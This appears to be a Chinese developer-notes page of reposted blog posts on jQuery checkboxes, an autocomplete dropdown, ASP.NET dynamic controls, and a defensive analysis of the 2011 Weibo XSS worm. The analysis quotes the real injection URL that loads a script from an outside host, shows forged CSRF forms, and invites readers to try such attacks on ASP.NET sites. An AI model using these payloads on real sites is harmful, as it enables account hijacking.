开发笔记 第587页

[转载]提高编码效率的一些经验 – rain.zhou – 博客园.

[转载]说说我的web前端之路,分享些前端的好书 – 聂微东 – 博客园.

[转载]JQuery点击行（tr）实现checkBox选中，反选时移除和添加样式. – ゞ追忆o0ゞ – 博客园.

很开心大家能和我这个“菜鸟”一起互动，也感谢大家和我一起思考，看了大家的代码也有了不少启发，看了jifsu兄的代码，自己也试测了一下，确实比我自己写的那种方式简单的多，代码的可读性也大大增强不少，在这个基础上，我又添加了一个全选和反选时的效果。

用到了三元运算符，和一个自定义的函数。

点击行时效果代码：

 $("tr").live("click", function () {
     if ($(this).hasClass("bgRed")) {
         $(this).removeClass("bgRed").find(":checkbox").attr("checked", false);
     } else {
                $(this).addClass("bgRed").find(":checkbox").attr("checked", true);
            }
 });

反选按钮时的效果代码：

 $("#btnReverse").click(function () {
                //遍历.column 下的 checkbox;
                $(".column :checkbox").each(function () {
                    //给当前勾选的checkbox取反；  其中!$(this).attr("checked")是先获取他的属性，再取反，充当第二个参数；
                    //attr方法只有一个参数时是取值，两个参数时是设值；
                    $(this).attr("checked", !$(this).attr("checked"));
                    $.GetCheck($(this));  //调用自定义的函数.

                });

            });

自定义的函数代码：

//注意，它的位置是和$(function(){ })平级的.
 jQuery.extend({

            GetCheck: function (status) {
                $(status).attr("checked") ? $(status).parent().parent().addClass("bgRed") : $(status).parent().parent().removeClass("bgRed");
            }
        });

如果 $(status).attr(“checked”) =true; 就给行添加样式 addClass(“bgRed”); 如果$(status).attr(“checked”)=false;就把样式移除;

[转载]Web安全，以新浪微博“郭美美”蠕虫为例 – 问天 – 博客园.

昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性；网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的，这里记述一下相关的事情。

先说新浪微博。

昨天的攻击情况介绍可以参考：
* http://soft.yesky.com/security/156/30179156.shtml

昨晚的攻击漏洞根源其实很傻，被用于攻击的URL（当然这个URL现在不工作了）是：
* http://weibo.com/pub/star/g/xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

很显然，/pub/star/g/ 后面的字符串会被新浪内部write过，变成类似：
* http://weibo.com/pub/star.php?g=xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意，然后star.php竟然会把querystring中g的值直接显示到页面中，相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入攻击，有做web开发经验的同学都应该懂；应该说，新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。

weibo.com的页面被嵌入第三方js之后，这个js做的就是 XSRF去完成各种发推/关注/私信的操作，但从安全的角度看，这些我认为已经不重要了，这次的攻击根源仅是最低级的页面注入。

要避免这样的问题，在页面模板中，所有的变量输出，默认都应该做 HTML encode:

<%=Request.QueryString[“qry”] %>

默认就应该对输出的值做html encode，相当于：

<%=HttpUtil.HtmlEncode(Request.QueryString[“qry”]) %>

目前新web框架的模板引擎基本默认都会对变量页面输出做html encode；这样注入的问题都会被避免。

以Razor为例：
<div>
@Model.UserName
</div>

默认相当于：
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至于连模板都没有用，直接拼接字符串输出html的做法，就彻底无语了。

====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。

===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口，如：
* http://dummydomain.com/update_nick.aspx?nick=Stupid

那么，第三方网站可以直接将上述URL作为一个img标签的src，使得用户在访问的时候自动去获取此页面，造成昵称被改。

这里的问题根源是接口定义违反了HTTP的推荐设计。

一切HTTP Get操作，都不应该涉及用户数据的修改；必须强制使用为POST，以避免数据被无意/恶意修改。

===== HTTP Post =====
假设修改昵称的接口变成：
* http://dummydomain.com/update_nick.aspx

用户必须通过form提交才可能可以修改数据，比方说：
<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>
这样的设计实际上也还是会有问题的，比方说，攻击者可以在 http://attackerdomain.com/clickme.html 里面写：

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>
用户在访问 attackerdomain.com 的时候，便有可能被误导去点击，然后造成自己在 dummydomain.com 的数据被修改。

在这样的场景下，无论接口是Get还是Post，都无济于事；这类攻击是被称为 XSRF： Cross-site request forgery。

===== XSRF =====
相比起页面注入，Web开发者对于XSRF的认识还不够；但它也是可以防范的。

首先，要确保所有的涉及数据更新的操作都是经过HTTP Post。

然后，服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数；其值必须跟Cookie中的同名Cookie相同，比方说：

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”secret_value” />
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>

当 攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时，浏览器发送的是 dummydomain的 cookie；而这个cookie的值，是attacherdomain.com所无法获得的，也就是说，它无法伪造：

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”Attacher can’t know this value!” />
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>

有安全意识，或者说，先进的web框架（ Django / Tornado / RoR 等等 ），默认都强制要求POST提交必须有 XSRF 检查。

微软的技术，基本都是跟在别人后面的，目前似乎还是的开发者手动去处理，ASP.NET MVC 可以参考：
* http://weblogs.ASP.NET/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

如果ASP.NET开发者没有安全意识，专门去给所有页面添加XSRF的检查，那么做出来的网站，都可能受到 XSRF 攻击。

大家有兴趣的话可以去挑各种asp.net开发的网站去试；或者说，想想自己做过的网站是否会受到此种攻击。

🙂

====== Web 安全的根基 ======
Cookie / Same origin policy（简单的说，就是防止AJAX跨域）是 Web安全的根源。

而这两点，是由客户端浏览器所保证的，如果客户端实现得不好，域名A可以访问域名B的cookie值，或者说发起AJAX调用，那么所有服务器端的安全措施都是白搭。

Cookie在HTTP中是明文传输的，是可能会被中间人窃取然后伪造的；而cookie又是Web用户认证信息的根源，一旦Cookie泄露，攻击方就可以为所欲为。

所以，很多网站（比方说， twitter / gmail）默认都在强制把所有的页面传输转移去 HTTPS；以杜绝中间人的问题。

千里之堤，溃于蚁穴；根基不牢靠，上层所做的任何安全措施，都可能被攻破。

这里的关键，是要有一个可靠的根基，跟Web技术没有直接关系，Native程序也会有同样性质的问题。

[转载]仿百度搜索时的下拉列表（jQuery实现） – luckyadam – 博客园.

[title]

当我们使用百度或是谷歌进行搜索时，只要输入一个字母就可以产生一个下拉列表，并且可以通过键盘上下键来控制列表项的选择。最近在项目中也碰到了类似的情况，在文本框中输入某个字母就可以出现一个下拉列表，展现从数据库里搜索过来的结果。

先说一下我的实现思路吧，当用户在文本框中输入时，可以利用ajax方式将文本框内内容传给后台的某个页面，在那个页面中经过处理后将产生的结 果（这里的结果是一个字符串数组）再获取过来在前台呈现。有了思路后就开始考虑怎么去具体实现吧。首先要使用ajax的话，就想到可以使用JQuery提 供的$.post()方法，这个方法可带4个参数，分别是：

·url，请求的页面URL地址；

·data（可选），作为HTTP消息的实体内容发送给服务器；

·callback（可选），载入成功后的回调函数，自动将请求结果和状态传递给该方法；

·type（可选），服务器端返回的数据格式，可以是：xml、html、script、json等。

好，现在对$.post()方法有了一定的了解，现在就可以考虑这个方法该怎么来写了。在我的项目中，请求的URL地址是@Url.Action(“GetTags“) （由于是ASP.NET MVC架构，地址是由Routing配置产生的，这个转义到前台就是一个普通的URL地址），需要传送的是ID为newTag的文本框中的值，所以第二个 参数为{pinyins: $(“#newTag”).val()}，这里的pinyins是由后台定义的。第三个参数callback是处理请求成功后要做的事，暂且命名为 pinyinCallback，第四个参数设为’json’，即数据格式为一个JSON对象。这样的话，这个ajax请求可以写为：

$.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');

但是如果用户每输入一个字母就立即往服务器传的的话，服务器的承载就会过大，于是考虑可以将每次请求延迟一秒发送，于是发送请求的方法可以这样定义：

function pinyinOption() {
         var t = setTimeout(function () {
             $.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');
         }, 1000);
 
     }

　　现在要考虑的就是这个方法在何时调用。既然是以用户输入结果来查询的，那么可以考虑JQuery的keyup事件，可以在文本框（id为newTag）的keyup事件触发后就调用之前定义的方法。但是又考虑到这个功能中可以通过键盘中上下键来控制列表中的选项，所以这个keyup事件可以这样来定义：

$("#newTag").keyup(function (e) {
             if (e.keyCode != 40 && e.keyCode != 38) {
                 currentTxt = $("#newTag").val();
                 pinyinOption();
             }
         }).focus(function () {
             this.select();
         });

其中keyCode值38、40分别代表上键和下键。currentTxt记录的是当前文本框的内容。

　　当请求成功后的回调函数pinyinCallback该做什么呢？这个回调函数该做的应该有这些事，首先要把请求来的数据在前台呈现出来，这样就需要创建一些新的DOM元素来装这些内容。就不废话了，直接上代码吧：

Html代码：

<div class="mb20 pr f14 ff" id="tagDiv">
     <p><span>新标签</span> @Html.TextBox("newTag", null, new { style = "border: 1px solid #555;height: 20px;", autocomplete ="off"})
             <input type="submit" value="添加" /><span>@ViewBag.Info</span></p>
  </div>

js代码：

var $resultDiv = $('<div id="resultDiv" class="pa f12 ff"></div>');
     var $resultUl = $('<ul id="resultUl"></ul>');
     var $resultLi = [];
     var currentTxt;
 
     function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
 }

目前这个回调函数只是将请求回来的数据添加到创建的id为resultDiv的容器内，再将这个容器添加到页面中已存在的id为tagDiv的容器中。而为了美观一点并为了实现点击一个列表项就提交的功能，这个回调函数还可以做这些工作：

js代码：

 $("#resultDiv li").hover(function () {
           $(this).addClass("esultDivLiHover");
         }, function () {
           $(this).removeClass("esultDivLiHover");
  });
 $("#resultDiv").blur(function () {
          $("#resultDiv").hide();
 });
 $("#resultDiv li").click(function (event) {
          $("#newTag").val($(this).text());
          $("form").submit();
 });

css代码：

 #resultDiv
  {
     left: 47px;
     border: 1px solid #000;
     background: #fff;
     z-index: 100;
     width: 200px;
     
  }
 #resultDiv li
  {
     cursor: default;
     padding: 2px 4px;
  }
 .esultDivLiHover
  {
     background: #cfcfcf;
  }

在列表项被点击后就提交一次表单，并把当前文本框的内容设置为列表项的内容。

　　接下来就要实现键盘上下键控制的功能了，这样，全部的回调函数代码为：

 function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
         $("#resultDiv li").hover(function () {
             $(this).addClass("esultDivLiHover");
         }, function () {
             $(this).removeClass("esultDivLiHover");
         });
         $("#resultDiv").blur(function () {
             $("#resultDiv").hide();
         });
         $("#resultDiv li").click(function (event) {
             $("#newTag").val($(this).text());
             $("form").submit();
         });
         //键盘上下键控制
         var index = -1;    //标记上下键时所处位置
 
         document.documentElement.onkeydown = function (e) {
             e = window.event || e;
             if (e.keyCode == 40) {  //下键操作
                 if (++index == $("#resultDiv li").length) {  //判断加一操作后index值是否超出列表数目界限
                     index = -1;             //超出的话就将index值变为初始值
                     $("#newTag").val(currentTxt);    //并将文本框中值设为用户用于搜索的值
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
             if (e.keyCode == 38) {  //上键操作
                 if (--index == -1) {    //判断自减一后是否已移到文本框
                     $("#newTag").val(currentTxt);
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else if (index == -2) {     //判断index值是否超出列表数目界限
                     index = $("#resultDiv li").length - 1;
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
         };
     }

　OK，现在这个功能就差不多搞定了，在ie6下也是完全正常，不过还是有一些bug需要改进，另外这个方法还是有可以优化的地方吧。晒一晒效果图：

　　希望明天又是美好的一天，又不正的地方还希望多多指出。

[转载]MongoDB搭建和简单操作（windows环境） – 黑曜石 – 博客园.

转载JQuery点击行 （tr）实现checkBox选中 – ゞ追忆o0ゞ – 博客园.

标题描述的有点不贴切，但希望大家能够明白，为了更形像的表达，我特意录制了一张GIF动画图片。

我不知道实际开发中有没有用到这种效果，但我个人认为，这种方式更人性化，因为只要点到一行，就可以使CheckBox.checked=true； 不用非得点复选按钮才能实现;

实现的过程有点纠结，试了几次都没成，最后用了一个笨笨的方法，就是点击行的时候，让他的子元素(td)的背景颜色为红色.(因为我用到了光棒效果，如果我点击行（td）的时候，颜色是变了，但鼠标一离开的时候就又变回原来的颜色了)

可能你会问我了，那你咋判断CheckBox的状态是不是checked（勾选状态）啊？

其 实我根本没去对它进行判断…. 希望大家不要喷我。我只是判断了一下选中行的子元素（td）的背景颜色和document.body的背景颜色是不是一样，如果一样，就让 CheckBox.checked=true，不一样就让CheckBox.checked=false.

思路就是这么个思路，如果谁还有更好的方法贴上来，大家一起学习学习..

JQuery中用到的方法:

first()：第一个元素;

nextAll():在XX之后的所有元素:主要为了把第一行的表头去掉

children():查找子元素;

toggleClass();切换样式

attr()：给CheckBox添加checked属性;

主要实现的代码：

       $(function () {
            //除了表头（第一行）以外所有的行添加click事件.
            $("tr").first().nextAll().click(function () {
                //为点击的这一行切换样式bgRed里的代码：background-color:#FF0000;
                $(this).children().toggleClass("bgRed");
                //判断td标记的背景颜色和body的背景颜色是否相同;
                if ($(this).children().css("background-color") != $(document.body).css("background-color")) {
                    //如果相同，CheckBox.checked=true;
                    $(this).children().first().children().attr("checked", true);

                } else {
                    //如果不同,CheckBox.checked=false;
                    $(this).children().first().children().attr("checked", false);
                }
            });
       });

[转载]CoffeeScript和Sass提高Web开发效率 – 葡萄城控件技术团队博客 – 博客园.

[转载]Android平台的IPC机制的模型（(Inter Process Communications）–Binder – bitfairyland – 博客园.

[转载]点击按钮动态创建控件并获得值的原理及方法 – wlf – 博客园.

说到动态创建控件 就必须说下页面的生命周期了  上个简单的图

说下可能遇到的问题  控件创建好了  但再点别的按钮时  就又消失了  因为没有保存状态

还有的在Init查看Viewstate等 这些都是对页面生命周期理解的并不清楚~ 下面上demo说

第一步 先是动态创建控件

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:HiddenField ID="HFControl" runat="server" />
<asp:Button ID="BtnCreate" runat="server" Text="动态创建"
onclick="BtnCreate_Click" />
<asp:Button ID="GetValue" runat="server" Text="获取选中的值"
onclick="GetValue_Click" />
<asp:Label ID="lbl" runat="server" Text=""></asp:Label>
<asp:Panel ID="PanelControl" runat="server">
</asp:Panel>
</div>
</form>
</body>
</html>

第二部 动态创建的code 这里说下 点击按钮动态创建的原理 点击按钮时 给HiddenField赋值 或者Viewstate赋值 然后在创建控件 这样当每次进入页面时 判断iddenField或者Viewstate是否有值 有值则显示那个动态创建的控件 这样就保存住里状态 当你再点其他控件时则不会丢失了 再次强调 不要写在!IsPostBack里面 那个是是否回发

protected void Page_Load(object sender, EventArgs e)
    {
        //1.创建控件不要写在IsPostBack    2.Viewstate和控件的值 要在视图 装载完成后才有值 所以不要再Init等里面用
        if (!string.IsNullOrEmpty(HFControl.Value) && HFControl.Value=="flag")
        {
            CreateDropDownList();
        }
        if (!IsPostBack)//这个是判断是否为回发  如果把创建控件写在这里  控件当然会消失咯
        {
           
        }
    }


  /// <summary>
    /// 创建控件
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void BtnCreate_Click(object sender, EventArgs e)
    {
        HFControl.Value = "flag";
        CreateDropDownList();
    }

    /// <summary>
    /// 动态创建DropDownList控件
    /// </summary>
    private void CreateDropDownList()
    {
        DropDownList ddl = new DropDownList();
        ddl.ID = "ddldynamic";
        ddl.Items.Add(new ListItem("1", "1"));
        ddl.Items.Add(new ListItem("2", "2"));
        ddl.Items.Add(new ListItem("3", "3"));
        ddl.Items.Add(new ListItem("4", "4"));
        ddl.AutoPostBack = true;
        ddl.SelectedIndexChanged += new EventHandler(ddl_SelectedIndexChanged);//给ddl添加事件
        PanelControl.Controls.Add(ddl);
    } 

第三部 则是点击控件 获得动态创建的控件选中的值 这里写了点击控件获得 还写了 自身回发事件获得

 /// <summary>
    /// 点击按钮 获得选中的ddl的值
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void GetValue_Click(object sender, EventArgs e)
    {
        DropDownList ddl = PanelControl.FindControl("ddldynamic") as DropDownList;
        if (ddl != null)
        {
            lbl.Text ="点击按钮得到的值为"+ddl.SelectedValue;
        }
    }

    /// <summary>
    /// 动态创建的DropDownList的事件   注意动态创建时 订阅了这个事件
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void ddl_SelectedIndexChanged(object sender, EventArgs e)
    {
        DropDownList ddl= sender as DropDownList;
        if (ddl != null)
        {
            lbl.Text ="通过自身回发事件得到的值为"+ddl.SelectedValue;
        }
    }

顺便说下 在页面里加上 Page指令里 加上 Trace=”true” 可以看到很多细节 帮助很大

好了~~ 这样常用的一些动态创建控件的操作就写完了 与大家分享下~ 下一篇写下

IsPostBack 的本质和原理~ 看到很多人说 在page里都要加上这个 看~ 今天的例子不就没加么~

欢迎关注~